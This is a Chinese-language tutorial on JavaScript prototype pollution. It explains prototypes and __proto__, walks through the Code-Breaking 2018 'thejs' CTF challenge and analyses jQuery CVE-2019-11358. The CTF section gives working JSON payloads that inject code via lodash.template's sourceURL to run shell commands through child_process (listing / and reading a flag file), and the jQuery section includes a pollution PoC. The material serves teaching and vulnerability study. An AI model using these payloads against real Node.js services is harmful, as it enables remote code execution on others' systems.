浅析JavaScript原型链污染攻击
/0x01 基本概念
JavaScript构造函数与类
在JavaScript中,构造函数相当于类,且可以将其实例化。
如果要定义一个类,需要以定义构造函数的方式来定义:
这里Foo函数的内容,就是Foo类的构造函数,而this.num就是Foo类的一个属性。
JavaScript语法特性
在介绍JS原型链之前,需要了解下JS中一些访问对象的语法特性。
如图:
JavaScript原型对象prototype与__proto__
原型对象prototype
原型对象prototype是新对象的模板,它将自身的属性共享给新对象。一个对象不但可以享有自己创建时和运行时定义的属性,而且可以享有原型对象的属性。
所有的JavaScript对象都会从一个原型对象prototype中继承属性和方法。
JavaScript的每一个函数/类都有一个prototype属性,用来指向该构造函数的原型。
下面定义了一个Hacker函数,看到其有prototype属性、指向了该构造函数的原型本身:
__proto__属性
JavaScript的每一个实例对象都有一个__proto__属性指向该实例对象的原型。
下面新建一个Hacker类的实例对象hacker,看到其有__proto__属性,访问该属性可知是指向hacker这个实例对象的原型的:
观察发现,实例对象由函数生成,实例对象的__proto__属性是指向函数的prototype属性的,即:
接着我们注意到,在前面调用的无论是实例对象的__proto__属性还是构造函数/类的prototype属性,它们均有一个__proto__属性指向Object,而再往下调用__proto__属性就是在调用Object.__proto__、其值为null:
这个就涉及到后面要讲的原型链的东西了:所有JavaScript中的对象都是位于原型链顶端的Object的实例,其中实例对象原型的原型是Object.prototype,而它的原型是null,所以Object.prototype就是原型链的最顶端。
constructor属性
我们知道,构造函数/类的prototype属性指向该函数的原型,相应的该构造函数的原型也有相应的属性指向该构造函数——constructor属性。
每个原型对象都有一个constructor属性,指向相关联的构造函数,所以构造函数和构造函数的prototype即原型是可以相互指向的。实例对象也可以访问constructor属性指向其构造函数。
JavaScript原型链与原型链继承
原型链
由于__proto__是任何JavaScript对象都有的属性,而JavaScript中万物皆对象,因此会形成一条__proto__连起来的链,递归访问__proto__直至到终点即值为null,这就是原型链。
我们看前面用到的Hacker构造函数和hacker实例对象的例子,其原型链即类实例对象的原型链如下:
1 | hacker -> Hacker.prototype -> Object.prototype -> null |
这里改下smi1e的图,可以看到Hacker构造函数和hacker实例对象的原型链结构:
除了类实例对象的原型链,再看看其他的原型链。
数组的原型链:
1 | c -> Array.prototype -> Object.prototype -> null |
日期的原型链:
1 | d -> Date.prototype -> Object.prototype -> null |
函数的原型链:
1 | f -> function.prototype -> Object.prototype -> null |
原型链继承
根据原型链,所有类对象在实例化的时候会拥有prototype中的属性和方法,在原型链上的任何位置设置属性都能被子对象访问到,这个特性被用来实现JavaScript中的继承机制。
当JavaScript引擎查找对象的属性时,会先查找对象本身是否存在该属性,若不存在则会在原型对链上查看、直到找到一个名字匹配的属性或到达原型链的末尾即null。这种查找机制被运用在面向对象的继承中,被称为原型链继承。
比如下面定义了构造函数Person,并创建了一个实例对象:
1 | function Person(first, last, age, eyecolor) { |
如果我们想在已定义存在的Person类中直接添加属性是不行的:
1 | Person.nationality = "English"; |
要添加的话只能在该构造函数定义的时候添加上该属性:
1 | function Person(first, last, age, eyecolor) { |
如果都这样添加的话,实在是太麻烦了。这个时候就能用上原型链继承的方法来轻松实现给示例对象添加新属性的功能:
1 | Person.prototype.nationality = "English"; |
总结一下,对于实例对象alan,在调用alan.nationality的时候,实际上JavaScript引擎会进行如下操作:
- 在实例对象alan中寻找nationality;
- 如果找不到,则在alan.__proto__中寻找nationality;
- 如果仍然找不到,则继续在alan.__proto__.__proto__中寻找nationality;
- 依次寻找,直到找到null结束。比如,Object.prototype的__proto__就是null;
0x02 JavaScript原型链污染
原型链污染
在JavaScript中访问一个对象的属性可以用a.b.c或者a[“b”][“c”]来访问。由于对象是无序的,当使用第二种方式访问对象时,只能使用指明下标的方式去访问。因此我们可以通过a["__proto__"]
的方式去访问其原型对象。
原型链污染一般会出现在对象或数组的键名或属性名可控,而且是赋值语句的情况下。
在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
常见场景
那么什么场景会出现原型链污染呢?——一般是可以设置__proto__值的场景,即能够控制数组(对象)的键名的操作:
- 对象merge,即合并数组对象的操作;
- 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
Demo
看个Demo:
1 | // hacker是一个简单的JavaScript对象 |
可以看到,hacker实例对象本身就存在name属性,而通过hacker.__proto__.name设置的name属性实际就是设置hacker.__proto__指向的Object对象的name属性并进行了赋值,当再输出hacker实例对象的name属性时,由于JS引擎直接在当前hacker上找到该属性而无需继续往上到原型链上寻找name属性;但user实例对象是个空的对象、无任何属性,因此当尝试输出user对象的name属性值时JS引擎会在user对象的原型链上寻找name属性,其中在Object对象上找到了name属性就获取输出出来:
再看个P神文章中用到的merge()函数的例子,假设有如下的merge()函数定义:
1 | function merge(target, source) { |
其在合并的过程中,存在赋值的操作target[key] = source[key]。因此,当我们控制target的键key为__proto__时就能污染原型链了。
先试下这个payload:
1 | let o1 = {} |
可以看到并未污染成功:
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, “proto“: {b: 2}})中,proto已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],proto并不是一个key,自然也不会修改Object的原型。
因此,我们需要将o2实例对象那部分改为Json格式,如下:
1 | let o1 = {} |
可以看到新建的o3实例对象也存在b属性,说明Object已经被污染了,这样就能成功进行原型链污染攻击了:
这是因为,JSON解析的情况下,proto会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
0x03 Code-Breaking 2018 Thejs
这是P神在代码审计中出的一道JS原型链污染题目。
题目环境:https://github.com/phith0n/code-breaking/tree/master/2018/thejs
题目分析
访问页面,就是让你选两个项,添加之后就会缓存起来:
Add请求报文如下:
1 | POST / HTTP/1.1 |
这题是需要进行代码审计的。
这里主要的代码都在server.js中,我们看其中关键部分:
1 | // ... |
可以看到,这里存在一个用户输入点lodash.merge(data, req.body)
,即在请求方法为POST时直接将req.body的值作为lodash.merge()的第二个参数传入,而我们在前面知道merge()函数是合并数组的操作,同时也是原型链污染的常见场景,因此我们可以通过POST方式传入的请求体内容来污染data数组。
在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template中。
我们去看下lodash.template()的源码吧:
1 | // Use a sourceURL for easier debugging. |
options是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。
但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。
了解一下,Function(arg1,arg2,…,funcbody),可以建立一个匿名函数:
而Function.apply(object, args)可以调用该函数,可以理解为object.function(arg1, arg2),args=[arg1, arg2]
:
再看下attempt是干啥的,在attemp.js中有定义:
1 | var attempt = baseRest(function(func, args) { |
说到底attempt就是func.apply()
,就是执行定义的函数。
那么options是怎么传进来的?我们回到server.js:
1 | let compiled = lodash.template(content) |
这里三个点是将options数组打散为序列的意思。到这我们还是不能确定options是否可控,但这没必要去考虑,因为我们通过原型链污染来污染Object.sourceURL,致使在寻找options.sourceURL时JS引擎还是能成功在options的原型链上找到该属性。
至此,也就是说,当我们通过原型链污染致使options.sourceURL存在值时,程序会将options.sourceURL污染值拼接到Function()的第二个参数中,导致任意代码执行。
题解
缺陷payload
根据上述分析,可以通过原型链污染致使Object存在污染进来的sourceURL属性,从而导致options也有sourceURL属性进而任意代码执行。
下面这个是有缺陷的payload:
1 | {"__proto__": {"sourceURL": "\nreturn e => { return global.process.mainModule.constructor._load('child_process').execSync('ls /')}\n"}} |
这里e => { return ...}
是ES6的匿名函数创建语法,相当于:
1 | function(e){ return ...;} |
之所以将sourceURL的返回值定义为“另一个函数”,再由“另一个函数”返回系统命令执行结果,是因为原本的设计
Function(importsKeys, sourceURL + 'return ' + source)
中的source就是返回一个function的,因为现在提前return,考虑幂等原理,修改后的返回也要是function
发送前,注意Content-Type改为application/json:
虽然能执行命令拿到flag,但是Web页面不能再直接访问了。这是因为只要在程序重启之前,整个原型链都会受到污染带来的影响,导致后面用户因为原型已经被污染而无法获取正常服务。
优化payload
在上一个基础上,在执行本次命令之前用for循环把之前的污染删掉:
1 | {"__proto__": {"sourceURL": "\nreturn e => { for (var a in {}){delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('cat /flag_thepr0t0js')}\n"}} |
此时的Web服务能正常访问。
0x04 jQuery原型污染漏洞(CVE-2019-11358)
在jQuery < 3.4.0的版本中存在原型污染漏洞。
下面参考奇安信的漏洞分析。
在./src/core.js第155行中,options取传入的参数 arguments[i]:
1 | if ((options = arguments[ i ]) != null) { |
而后在第158 、159 行中,将options遍历赋值给copy,即copy外部可控:
1 | for (name in options) { copy= options [name]; |
接着,在第167-185行中,判断copy是否是数组;若是,则调用jQuery.extend()函数,该函数用于将一个或多个对象的内容合并到目标对象,这里是将外部可控的copy数组扩展到target数组中;若copy非数组而是个对象,则直接将copy变量值赋值给target[name]:
1 | // Recurse if we're merging plain objects or arraysif ( deep && copy && ( jQuery.isPlainObject( copy ) || ( copyIsArray = Array.isArray( copy ) ) ) ) { ... // Never move original objects, clone them target[ name ] = jQuery.extend( deep, clone, copy ); // Don't bring in undefined values} else if ( copy !== undefined ) { target[ name ] = copy;} |
此时,如果name可以被设置为__proto__
,则会向上影响target的原型,进而覆盖造成原型污染。
往前面找,在第127行中可以看到,target数组是取传入的参数arguments[0]:
1 | target = arguments[ 0 ] || {}, |
也就是说,target变量可以通过外部传入的参数arguments数组的第一个元素来设置target数组的键name对应的值为__proto__
,而options变量可通过外部传入的参数arguments[i]进行赋值,copy变量又是由options遍历赋值的,进而导致copy变量外部可控,最后会将copy合入或赋值到target数组中,因此当target[__proto__]=外部可控的copy
时就存在原型污染漏洞了。
简单地说,就是target[name]=copy的赋值语句两边均可控,导致JS原型污染漏洞的存在。
因此可以构造如下PoC来验证,先引入漏洞版本的jQuery,再进行JS原型污染攻击:
1 | var jquery = document.createElement('script'); jquery.src = 'https://code.jquery.com/jquery-3.3.1.min.js';document.getElementsByTagName('head')[0].appendChild(jquery);let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode":"Hacked By Mi1k7ea"}}'))console.log({}.devMode); |